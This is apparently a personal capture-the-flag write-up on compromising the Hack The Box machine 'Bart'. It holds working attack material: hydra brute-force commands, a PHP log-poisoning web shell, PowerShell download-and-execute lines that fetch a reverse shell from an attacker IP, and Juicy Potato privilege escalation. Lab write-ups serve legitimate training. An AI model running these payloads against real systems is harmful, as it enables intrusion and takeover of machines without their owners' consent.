bart

note

we have to reset our cache and clear our cookies a lot with this box otherwise we get sent to dns sinkholes

do that in our webrower settings in the Cookies and Site Data section
images/1663-1.png

nmap

Lets start initial enumeration off with nmapAutomator

nmapAutomator.sh 10.10.10.81 All
images/1661-1.png

only port open on bart is 80

images/1661-2.png

http enumeration

See child nodes
• Gobuster
• internal-01.bart.htb
• initial foothold

gobuster

server status always respond with status code 200 with this webpage
images/1662-1.png

gobuster dir -u 10.10.10.81 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
images/1662-2.png

so we omit status code 200 from our dirbuster with -s listing all the status codes besides 200

gobuster dir -u 10.10.10.81 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -s 204,301,302,307,401,403
images/1662-3.png

\

lets add both monitior.bart.htb and forum.bart.htb to our /etc/hosts file
images/1662-5.png

forum

new employee, might still have default creds
images/1664-4.png

source code

wordpress content and plugins stripped from the source code, wpsscan prob not going to be much
images/1665-1.png

1 match

commented out source code reveals theres a developer named harvey potter
images/1665-2.png

monitor

forgot password page

invalid username:
images/1668-1.png

Server responses that verify valid users on an incorrect login attempt is a glaring vulnerability for any login portal to have because malicious users can use the server's responses to enumerate registered users. Best to keep a generic "login failed" server response no matter the reason

valid username: harvey
images/1668-2.png

creds

trying some default passwords to match harvey's account, when trying his last name Potter we log in successfully
images/1669-1.png

servers

we see there is another domain we can look into named internal-01.bart.htb

images/1670-1.png

lets add it to our /etc/hosts file
images/1670-2.png

internal-01.bart.htb

after we add the new domain internal-01.bart.htb to /etc/hosts file we can navigate to this page
images/1671-1.png

there are 2 ways to go from here,
1. we can gobuster the webserver and see if we can find any more interesting pages,
2. or use hydra to bruteforce the login

gobuster internal-01.bart.htb

to directory bust the internal-01.bart.htb domain, we use

gobuster dir -u internal-01.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
images/1673-1.png

unfortunately, there's nothing much to go off from here

hydra

first lets catch the login request with burp suite

images/1672-1.png

we'll assume harvey is a user and brute force passwords to his username
images/1672-2.png

Note: our password must be at least 8 characters
images/1672-3.png

hydra -l harvey -P /usr/share/wordlists/metasploit/common_roots.txt internal-01.bart.htb http-post-form "/simple_chat/login.php:uname=^USER^&passwd=^PASS^&submit=Login:Password"
where
• -l is a single username
• -P is a password list
• internal-01.bart.htb is the target host
• http-post-form is the attack type specified to hydra
• /simple_chat/login.php:uname=^USER^&passwd=^PASS^&submit=Login:Password is a concatenated string consisting of
◇ the login web address
◇ the parameters taken and sent to authenticate via the post request
◇ a unique string returned whenever an authentication attempt fails
▪ images/1672-4.png

▪ Note: I use only Password because it is a common server response for both an invalid password and a password less than 8 characters
- (I am also guessing that the string password will not show up on a successful login)

images/1672-8.png

simple_chat

simple_chat

googling the service that the login form uses, and doing a little digging (courtesy of rana) shows there is a form that allows registration on the simple chat service
images/1674-1.png

register_form.php

navigating to that page while crossing our fingers, we see we have a hit

images/1675-1.png

modifying our request form from our captured login request, if we send the POST to register_form.php file, we see we get redirected, which is a good sign images/1675-2.png

taking a look at the source code of register.php:
images/1675-3.png

simply put, if we submit an unregistered username and password to the register.php webpage, it will automatically register us!
images/1675-4.png

lets give it a shot:
images/1675-5.png

now the username st0ve and the password xiong should be registered to the simple chat

actually the pw needs to be 8 characters long images/1675-7.png

ill go with xiongxiong images/1675-8.png

initial foothold

logging into the simple chat we see there's a bobby, same one from the forum.bart page
images/1678-1.png

checking into the page source code of the simple chat service, we see theres a script saveChat() that preforms a get on an interesting URL images/1678-3.png

, lets navigate to it
images/1678-4.png

internal-01.bart.htb/log/log.php?filename=log.txt&username=harvey

when we navigate to the page
http://internal-01.bart.htb/log/log.php?filename=log.txt&username=harvey images/1679-1.png

we see that the page displays harvey's username but also displays OUR OWN User-agent images/1679-2.png

, lets mess with it and see if we can inject remote code execution into the log.php file and run it
images/1679-3.png

we get a strange response of only 1, but we do see that there is a filename pointing to some file located on the server, so lets mess around with that

if we switch the filename parameter equal to the file log instead of log.php...
images/1679-5.png

we see the log output of the log.php get request we sent from before! and even more interesting....
images/1679-6.png

we see our user-agent was saved in the log form
images/1679-7.png

Meaning, we may be able to poison the log.txt file on Bart's server by altering our user-agent field when sending Get requests to the log.php file!

log.txt poison w/ code execution

lets see what happens when we replace our user agent with a system call written in php
<?php echo system($_REQUEST['st0ve']); ?>
images/1680-1.png

to test to see if our php code gets processed by Bart's webserver, lets navigate to the log.txt file while appending an
& + st0ve=whoami
images/1680-2.png

and we see our whoami command executed!

reverse shell w/ nishang

now that we know we have remote code execution verified, lets use nishang's invoke-powershelltcp script to call a shell back to our attack machine

images/1681-1.png

add this line of code to the bottom images/1681-2.png

now to send our http://internal-01.bart.htb/log/log.php?filename=log.txt&username=harvey&st0ve=whoami url and intercept it in burpsuite and use powershell to download and execute our reverse shell

images/1681-4.png

powershell "IEX(new-object net.webclient).downloadstring('http://10.10.14.62/PwrShell.ps1')"
images/1681-5.png

finally, URL encode the powershell command with CTRL+U, set up an http server from our attack machine, a listener on port 4444 and send the request

images/1681-6.png

priv esc

juicy potato

it's always a good idea to start priv-esc enumeration on a windows machine with whoami /priv to see what kind of privileges our victim has
images/1683-1.png

the victim is vulnerable to the juicy potato exploit because the SeImpersonatePrivilege state is enabled

lets copy another powershelltcp over and change the port it will call back to
images/1683-2.png

next lets create a batch script locally that will have JP download our powershell script and call a reverse shell back to us
images/1683-4.png

now lets copy juicy potato to our bart directory or download it here
images/1683-5.png

download jp.exe & shell.bat to victim

lets navigate to the /Users/Public/Downloads directory and use powershell to download both juicy potato and our that batch script juicy potato will run that will call a reverse shell back to us as root

powershell IEX(new-object net.webclien).downloadfile('http://10.10.14.62/shell.bat', 'C:\Users\Public\Downloads\shell.bat')
images/1684-1.png

powershell IEX(new-object net.webclien).downloadfile('http://10.10.14.62/jp.exe', 'C:\Users\Public\Downloads\jp.exe')
images/1684-2.png

jp.exe

running jp.exe takes -t * parameter, the -p <batch file> and the port our current shell is listening on -l 4444

./jp.exe -t * -p shell.bat -l 4444

images/1685-1.png